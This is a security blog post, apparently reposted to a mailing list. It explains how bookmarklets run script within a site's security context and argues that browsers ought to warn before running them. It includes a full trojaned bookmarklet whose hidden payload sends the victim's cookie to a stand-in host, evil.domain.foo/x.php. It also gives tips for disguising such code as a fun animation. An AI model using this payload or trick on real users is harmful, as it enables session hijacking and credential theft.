posted by Adrian 'pagvac' Pastor <http://www.gnucitizen.org/author/pagvac/>
So we all know about cross-domain vulnerabilities that allow attackers to run code within the security context of the target domain. Typically, they are either a XSS bug on the server-side application, or a bug in the client (web browser plugin or web browser itself). Most of the times, these vulnerabilities require some type of interaction from the victim user. i.e.: being tricked to click on a link or visit a malicious page. Now, most techies are familiar with bookmarklets. Well, what’s funny is that many users with knowledge of security - including many infosec professionals - are not aware of the security implications of running a bookmarklet. The two most common ways to run a bookmarklet are: * pasting the JavaScript code - which must start with a javascript: statement - in the address bar and press ENTER * click on the bookmarklet under the ‘Bookmarks’ menu (must have been previously added) On one hand, a bookmarklet is a piece of JavaScript that allows you to do something cool with the current webpage. On the other hand, from a security point of view, a bookmarklet is scripting code injection within the security context of the current domain/site by design. Or put it this way: you’ve got the equivalent of a XSS vulnerability in the target site or a cross-domain vulnerability on the web browser. Except that you don’t need to discover a new vulnerability. No 0days required! So like in cross-domain vulnerabilities we can inject payloads that allow us to: * steal cookies (session hijacking) * scrape pages containing interesting data and submit it to the attacker’s site * steal <https://www.gnucitizen.org/blog/google-urchin-password-theft-madness/> usernames and passwords that are autocompleted by the browser * perform advanced phishing attacks. i.e.: by overwriting the login form’s action attribute or injecting a new fake login form * etc … Also, as in cross-domain vulnerabilities, there is some level of user interaction required: in this case, the attacker must trick the victim to run a bookmarklet while on the target site. So how can we increase the chance of the victim being tricked to run a bookmarklet? Well, a nice trick is to use a fun and flashy bookmarklet, such as one that reads the images of the current page and creates an animation with them. You could of course write the code from scratch, but we won’t do that as we’re too lazy aren’t we? Instead, we’ll trojan a publicly available (fun and flashy) bookmarklet with our malicious code. In this case, our malicious payload steals the victim’s cookie for the purpose of hijacking his/her session. Notice that the cookies would be sent to x.php <http://lab.gnucitizen.org/projects/xphp-capture-received-data-and-email-it- to-the-attacker> which the attacker would need to host on his/her site. This PHP script sends any received data (cookie in this case) to the attacker’s email: javascript:/*%20start%20of%20evil%20code*/(function(){c=document.createEleme nt("img");c.src="http://evil.domain.foo/x.php?"+document.cookie;c.width=0;c. height=0;document.body.appendChild(c)})();/*end%20of%20evil%20code%20*/windo w.scrollTo(0,%200);%20R=0;%20x1=.1;%20y1=.05;%20x2=.25;%20y2=.24;%20x3=1.6;% 20y3=.24;%20x4=300;%20y4=200;%20x5=300;%20y5=200;%20DI=document.getElementsB yTagName('img');%20DIL=DI.length;%20function%20A(){for(i=0;%20i-DIL;%20i++){ DIS=DI[%20i%20].style;%20DIS.position='absolute';%20DIS.left=(Math.sin(R*x1+ i*x2+x3)*x4+x5)+'px';%20DIS.top=(Math.cos(R*y1+i*y2+y3)*y4+y5)+'px'}R++}setI nterval('A()',5);%20void(0); Notice the malicious payload is within JS comments. There is nothing special about the evil code. It simply creates an image tag which results in the victim’s cookie being sent to a third-party site in the background. The non-malicious payload will also execute, which results in the images of the current page moving around the screen. It’s quite neat, as the user won’t notice anything suspicious actually happened. Needless to say, you need to replace evil.domain.foo with the site hosting the x.php script. You can picture this kind of attack actually happening in sites where there are cross-user functionalities. i.e.: social networking sites such as Facebook, MySpace and so on … Thinking about the dangers of running a bookmarklet brings us to the next question: Why in the world do browsers NOT show a warning before running a bookmarklet? After all, browsers do display warnings for other potentially dangerous actions such as: * visiting a site with an invalid SSL certificate * clicking on a form that submits data in clear I do understand that it would be annoying to warn users every time they run a bookmarklet, but I think it would be sensible to show a warning at least the first time a given bookmarklet is executed. If you work for a popular web browser vendor such as Microsoft or Mozilla, you can think of this as my wish for the day! I’d love to hear your feedback if you are reading this! [Ph4nt0m] <http://www.ph4nt0m.org/> [Ph4nt0m Security Team] <http://blog.ph4nt0m.org/> [EMAIL PROTECTED] Email: [EMAIL PROTECTED] PingMe: <http://cn.pingme.messenger.yahoo.com/webchat/ajax_webchat.php?yid=hanqin_wu hq&sig=9ae1bbb1ae99009d8859e88e899ab2d1c2a17724> === V3ry G00d, V3ry Str0ng === === Ultim4te H4cking === === XPLOITZ ! === === #_# === #If you brave,there is nothing you cannot achieve.# --~--~---------~--~----~------------~-------~--~----~ 要向邮件组发送邮件，请发到 [email protected] 要退订此邮件，请发邮件至 [EMAIL PROTECTED] -~----------~----~----~----~------~----~------~--~---
<<inline: image001.gif>>
